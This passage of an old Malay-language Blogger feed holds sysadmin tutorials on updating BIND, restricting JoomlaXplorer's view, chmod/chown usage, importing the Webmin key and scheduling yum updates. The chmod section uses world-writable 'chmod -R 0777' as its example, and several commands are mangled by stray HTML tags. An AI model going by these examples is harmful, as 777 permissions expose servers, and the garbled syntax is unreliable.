/&gt;Update&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3 Package(s)&lt;br /&gt;Remove&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 Package(s)&lt;br /&gt;&lt;br /&gt;Total download size: 1.7 M&lt;br /&gt;Is this ok [y/N]: y&lt;br /&gt;Downloading Packages:&lt;br /&gt;Running rpm_check_debug&lt;br /&gt;Running Transaction Test&lt;br /&gt;Finished Transaction Test&lt;br /&gt;Transaction Test Succeeded&lt;br /&gt;Running Transaction&lt;br /&gt;&amp;nbsp; Updating&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : bind-libs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [1/6]&lt;br /&gt;&amp;nbsp; Updating&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : bind-utils&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [2/6]&lt;br /&gt;&amp;nbsp; Updating&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : bind&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [3/6]&lt;br /&gt;&amp;nbsp; Cleanup&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : bind-libs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [4/6]&lt;br /&gt;&amp;nbsp; Cleanup&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : bind&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [5/6]&lt;br /&gt;&amp;nbsp; Cleanup&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : bind-utils&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [6/6]&lt;br /&gt;&lt;br /&gt;Updated: bind.i386 30:9.5.2-1.P4.el5.pp bind-libs.i386 30:9.5.2-1.P4.el5.pp bind-utils.i386 30:9.5.2-1.P4.el5.pp&lt;br /&gt;Complete!&lt;br /&gt;&lt;br /&gt;7) Tahniah anda berjaya. Semak folder yang dibackup tadi sama ada sebarang perubahan telah dibuat pada config asal. Aku test kat server aku ia tak merubah fail config asal. Kini start semula BIND&lt;br /&gt;&amp;gt; /etc/init.d/named start&lt;br /&gt;&lt;br /&gt;Semoga berjaya!&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-8485447053426909343?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/8485447053426909343/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=8485447053426909343&amp;isPopup=true' title='4 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8485447053426909343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8485447053426909343'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/09/how-to-update-bind-from-rpm.html' title='How to Update Bind from RPM'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Pk16G7RhVRE/TI7uPIcaoeI/AAAAAAAAApY/VTLPryGbah8/s72-c/bind.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-6105933710111553913</id><published>2010-09-06T11:22:00.000+08:00</published><updated>2010-09-06T11:22:09.763+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Joomla'/><title type='text'>How to change view in JoomlaXplorer to only its own folder only</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/TIReL-8qGYI/AAAAAAAAApI/fStSElJ_GVU/s1600/joomlaxplorer_logo.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/TIReL-8qGYI/AAAAAAAAApI/fStSElJ_GVU/s320/joomlaxplorer_logo.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;JoomlaXplorer ni merupakan salah satu komponen yang paling popular dalam Joomla pada masa kini dan menjadi kegusaran kepada admin host server yang handle multiple site within a single server.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt; &lt;/div&gt;&lt;div style="font-family: inherit;"&gt;So cara pada defaultnya, joomlaXplorer akan paparkan senarai folder dan file dari web root. Ini membolehkan mereka melihat dan mengubah file di dalam folder site orang lain. So amat berbahaya ni!!!&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;JoomlaXplorer ini cukup menyenangkan sebab ianya boleh tukar permission file dan folder tanpa melibatkan perlu login sebagai root user pun.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;Kali ni aku cuma nak tunjukkan cara untuk tukar view default kepada web root tersebut kepada folder site tersebut sahaja.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;1) Komenkan pada line 83 di dalam file&amp;nbsp;&lt;/div&gt;&lt;blockquote style="font-family: inherit;"&gt;administrator/components/com_joomlaxplorer/admin.joomlaxplorer.php &lt;/blockquote&gt;&lt;div style="font-family: inherit;"&gt;2) Ubah file :&lt;/div&gt;&lt;blockquote style="font-family: inherit;"&gt; {site root directory}/administrator/components/com_joomlaxplorer/.config/conf.php&lt;/blockquote&gt;&lt;div style="font-family: inherit;"&gt;dari :&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;else {&lt;br /&gt;$GLOBALS["home_dir"] = $dir_above;&lt;br /&gt;// the url corresponding with the home directory: (no trailing ‘/’)&lt;br /&gt;$GLOBALS["home_url"] = substr( $mosConfig_live_site, 0, strrpos($mosConfig_live_site, ‘/’));&lt;br /&gt;}&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;kepada…&lt;br /&gt;&lt;br /&gt;&lt;b&gt;else {&lt;br /&gt;$GLOBALS["home_dir"] = $mosConfig_absolute_path;&lt;br /&gt;// the url corresponding with the home directory: (no trailing ‘/’)&lt;br /&gt;$GLOBALS["home_url"] = $mosConfig_live_site;&lt;br /&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;3) Seterusnya cuba uji komponen joomlaXplorer tersebut dan insyaallah anda akan dapat lihat site anda sahaja.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;- Namun masalah admin boleh permission file/folder mengikut kesukaan masing-masing ini sahaja cukup memeningkan admin server host tersebut.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;- Kaedah untuk halang tu aku rasa ada, tapi belum jumpa true solution lagi.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;- Kaedah yang aku terfikir adalah untuk create user sama group dengan apache dan mengikut site masing-masing dengan privilleges yang terhad dan tidak boleh menukar permission file/folder. Idea tu ada, tapi tk pasti la boleh guna atau tak.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;- Bagi server hosting, kaedah awal tadi dah mencukupi. Jika berlaku kejadian hack disebabkan permission file/folder di tetapkan kepada 777 maka owner site kena bertanggungjawab sendiri le..&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;- Cuma bagi admin server host yang memang menjaga dan memastikan server dan site host di dalamnya selamat, kenalah fikirkan kaedah manipulate user server tu.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;~ Be a Creator Not a User ~&amp;nbsp;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;http://muzzotechspot.blogspot.com&amp;nbsp;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;http://muzzoshah.blogspot.com&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-6105933710111553913?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/6105933710111553913/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=6105933710111553913&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6105933710111553913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6105933710111553913'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/09/how-to-change-view-in-joomlaxplorer-to.html' title='How to change view in JoomlaXplorer to only its own folder only'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/TIReL-8qGYI/AAAAAAAAApI/fStSElJ_GVU/s72-c/joomlaxplorer_logo.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-1861859559634039822</id><published>2010-09-06T11:00:00.002+08:00</published><updated>2010-09-06T18:21:18.803+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>How to change file/folder owner and permission in Linux</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/TIRZOkxvg9I/AAAAAAAAApA/rS5AahEzr24/s1600/windows-command-prompt-logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/TIRZOkxvg9I/AAAAAAAAApA/rS5AahEzr24/s320/windows-command-prompt-logo.png" /&gt;&lt;/a&gt;&lt;/div&gt;Aku rasa cukup lama sangat dah ni aku dah kongsi ilmu aku belajar dari internet dan rakan-rakan. Maaf, banyak ilmu diperolehi tapi tak kesempatan agak sibuk dengan tugasan semasa dan nak kejar SKT tahun ni..Aku akan cuba masukkan slowly...&lt;br /&gt;&lt;br /&gt;Ok, skang aku nak citer cara kita nak tukar file permission menggunakan command dalam linux&lt;br /&gt;&lt;br /&gt;OS : CentOS 5.x / RHEL 5.3&lt;br /&gt;&lt;br /&gt;1) Buka command shell dan taip&lt;br /&gt;# ls -l&lt;br /&gt;// untuk tujuan menyenaraikan fail dan folder yang ada serta owner, group dan permission bagi setiap folder dan fail tersebut.&lt;br /&gt;&lt;br /&gt;2) Sekarang kita buat tukar permission file dulu :&lt;br /&gt;Untuk tukar permission single file :&lt;br /&gt;# chmod 0777&lt;nama file=""&gt; (nama file bersama path)&lt;br /&gt;&lt;/nama&gt;&lt;br /&gt;&lt;br /&gt;Untuk tukar permission semua file dalam folder :&lt;br /&gt;# chmod -R 0777 (nama folder dan path)&lt;br /&gt;&lt;br /&gt;Untuk tukar permission kepada selected file yang permission 777 kepada 755 berdasarkan permission :&lt;br /&gt;# find (nama file dan path) &lt;nama dengan="" folder="" full="" path=""&gt;-perm 777 -print -exec chmod 755 {} \;&lt;/nama&gt;&lt;br /&gt;//kaedah ni menggunakan cara cari dulu file berkenaan dan seterusnya gunakan -exec untuk laksanakan chmod&lt;br /&gt;&lt;br /&gt;Untuk tukar permission kepada folder di dalam path tersebut sahaja :&lt;br /&gt;# find (nama folder dan path) &lt;nama dengan="" folder="" full="" path=""&gt; -type d -exec chmod 755 {} \;&lt;/nama&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3) So kalau untuk ubah owner dan group pula, boleh gunakan kaedah command chown gantikan dari chmod dan seterunya buat pertukaran pada value permission kepada nama owner dan nama groups sahaja. Contoh seperti di bawah :&lt;br /&gt;# chown-R (nama owner)&lt;nama owner=""&gt;.(nama group)&lt;nama group=""&gt; &lt;nama dengan="" folder="" full="" path=""&gt;&lt;/nama&gt;&lt;/nama&gt;&lt;/nama&gt;&lt;br /&gt;&amp;nbsp;# find (nama folder dan path) &lt;nama dengan="" folder="" full="" path=""&gt; -type d -exec chown &lt;nama owner=""&gt;&lt;/nama&gt;&lt;/nama&gt;(nama owner).(nama group)&lt;nama dengan="" folder="" full="" path=""&gt;&lt;nama owner=""&gt;&lt;nama group=""&gt; {} \;&lt;/nama&gt;&lt;/nama&gt;&lt;/nama&gt;&lt;br /&gt;&lt;br /&gt;Harap boleh mencuba...dan raikan kejayaannya.. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-1861859559634039822?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/1861859559634039822/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=1861859559634039822&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/1861859559634039822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/1861859559634039822'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/09/how-to-change-owner-and-permission-in.html' title='How to change file/folder owner and permission in Linux'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/TIRZOkxvg9I/AAAAAAAAApA/rS5AahEzr24/s72-c/windows-command-prompt-logo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-798777651940392663</id><published>2010-07-19T17:41:00.000+08:00</published><updated>2010-07-19T17:41:06.566+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Fedora'/><title type='text'>yum install webmin error : warning: rpmts_HdrFromFdno: Header V3 DSA signature: NOKEY</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TEQdqx-YY2I/AAAAAAAAAoo/pnaM5L21DPo/s1600/webmin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TEQdqx-YY2I/AAAAAAAAAoo/pnaM5L21DPo/s320/webmin.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Mesti kadangkala korang tetiba dapat error lebih kurang macam ni bila install webmin dari repo yang diberikan oleh site webmin.&lt;br /&gt;&lt;blockquote&gt;warning: rpmts_HdrFromFdno: Header V3 DSA signature: NOKEY webmin...&lt;/blockquote&gt;So, cara nak solve :&lt;br /&gt;&lt;br /&gt;1) buka putty dan login ke server&lt;br /&gt;&lt;br /&gt;2) Taip : &amp;gt;rpm --import http://www.webmin.com/jcameron-key.asc&lt;br /&gt;&lt;br /&gt;3) seterusnya : &amp;gt;yum install webmin &lt;br /&gt;&lt;br /&gt;4) Tapi kalau step 2 tu kekadang dia hanging je...guna cara seterusnya.  &lt;br /&gt;&lt;br /&gt;5) taip : &amp;gt;cd /opt (change folder ke /opt)&lt;br /&gt;&lt;br /&gt;6) &amp;gt;wget http://www.webmin.com/jcameron-key.asc&lt;br /&gt;&lt;br /&gt;7) &amp;gt;rpm --import /opt/jcameron-key.asc&lt;br /&gt;&lt;br /&gt;8) &amp;gt;yum install webmin &lt;br /&gt;&lt;br /&gt;9) Done...&lt;br /&gt;&lt;br /&gt;Selamat berjaya!&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~ &lt;br /&gt;&lt;br /&gt;http://muzzotechspot.blogspot.com &lt;br /&gt;&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-798777651940392663?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/798777651940392663/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=798777651940392663&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/798777651940392663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/798777651940392663'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/07/yum-install-webmin-error-warning.html' title='yum install webmin error : warning: rpmts_HdrFromFdno: Header V3 DSA signature: NOKEY'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TEQdqx-YY2I/AAAAAAAAAoo/pnaM5L21DPo/s72-c/webmin.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-705200523605394539</id><published>2010-07-13T13:01:00.001+08:00</published><updated>2010-07-13T13:01:56.905+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='RedHat'/><title type='text'>How to update new patch or package in Linux</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TDvzFSJnxpI/AAAAAAAAAog/2Pp2CBwoDUc/s1600/imac_yum_poster.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TDvzFSJnxpI/AAAAAAAAAog/2Pp2CBwoDUc/s320/imac_yum_poster.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Ini nota simpanan aku gak sebenarnya sebab nak buat SOP pasal ni.&lt;br /&gt;OS : RHEL, CentOS&lt;br /&gt;Apps : WEBMI, sendmail &lt;br /&gt;Repo :&lt;br /&gt;remi, epel, centos, rhel, rpmforge, webtatic, webmin...&lt;br /&gt;Cara nak install :&lt;br /&gt;1) Download semua file repo dari link ni : &lt;a href="http://docs.google.com/leaf?id=0B2IrE1xXcVG-ZTRjZjViMmUtMWNhNi00YTY3LWEzMDctNWU0ODhjOWI5YmE4&amp;amp;hl=en"&gt;REPO&lt;/a&gt;&lt;br /&gt;2) Download semua file PKI dari link ni : &lt;a href="http://docs.google.com/leaf?id=0B2IrE1xXcVG-NTE2MmJjNGUtYzE5ZS00NmMwLTgxODEtODNmZGQ1NzhmZmVl&amp;amp;hl=en"&gt;PKI&lt;/a&gt;&lt;br /&gt;3) Extract file repo dan copy semua file repo tu guna winscp ke dalam folder '/etc/yum.repos.d'&lt;br /&gt;4) Extract file pki dan copy semua file pki tu guna winscp ke dalam folder '/etc/pki/rpm-gpg'&lt;br /&gt;&lt;br /&gt;Cara nak update patch atau package tu command nye simpel je.&lt;br /&gt;Tapi ni aku nak terang cara guna webmin untuk setup peringatan sekiranya ada package atau patch terbaru perlu di kemaskini pada sevrer Linux anda.&lt;br /&gt;&lt;br /&gt;1) Jika Server anda tiada webmin, install la dulu.&lt;br /&gt;&amp;gt; yum webmin&lt;br /&gt;2) Buka webmin guna firefox atau IE di url http://&lt;ip hostname="" server=""&gt;:10000&lt;/ip&gt;&lt;br /&gt;3) Login ke dalam webmin&lt;br /&gt;4) Pergi ke menu System &amp;gt; Software Package Updates&lt;br /&gt;Gambar contoh seperti di bawah :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/TDvwmBhnGPI/AAAAAAAAAoY/ish8djnMF5s/s1600/yumo.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/TDvwmBhnGPI/AAAAAAAAAoY/ish8djnMF5s/s320/yumo.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;5) Sila isikan ruang di bawah 'scheduled checking options'&lt;br /&gt;&lt;b&gt;Check for updates on schedule? - &lt;/b&gt;Pilih Yes dan pilih sama ada terima secara harian, mingguan atau setiap jam&lt;br /&gt;&lt;b&gt;Email updates report to - &lt;/b&gt;Masukkan emel yang akan diterima oleh server admin agar beliau tahu ada package atau patch baru perlu dikemaskini. Boleh masuk banyak emel dan dipisahkan menggunakan koma (,)&lt;br /&gt;&lt;b&gt;Action when update needed - &lt;/b&gt;Boleh pilih ikut pilihan jenis update yang dikehendaki. Aku pilih 'Install Security Updates' sebab aku rasa yang penting pastikan linux server aku secure dari vulnerable.&lt;br /&gt;6) Dah sudah tu pilih SAVE.&lt;br /&gt;7) Sekiranya anda pilih makluman secara harian, maka setiap hari anda akan terima emel dari server memaklumkan bahawa package atau patch apa perlu dikemaskini.&lt;br /&gt;8) Anda boleh update semua package dan patch tu gunakan webmin dari menu tu, tapi aku suggest elok gunakan command line&lt;br /&gt;9) Login ke server guna putty.&lt;br /&gt;10) Run command tersebut dan seterusnya ikut arahan diberi :&lt;br /&gt;&amp;gt; yum update&lt;br /&gt;11) Sekiranya ada patch / package tak boleh install atas sebab tertentu maka run command berikut. (contohnya semua update perl tanak update) :&lt;br /&gt;&amp;gt; yum --exclude perl* update&lt;br /&gt;12) Done, semoga berjaya!&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-705200523605394539?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/705200523605394539/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=705200523605394539&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/705200523605394539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/705200523605394539'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/07/how-to-update-new-patch-or-package-in.html' title='How to update new patch or package in Linux'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 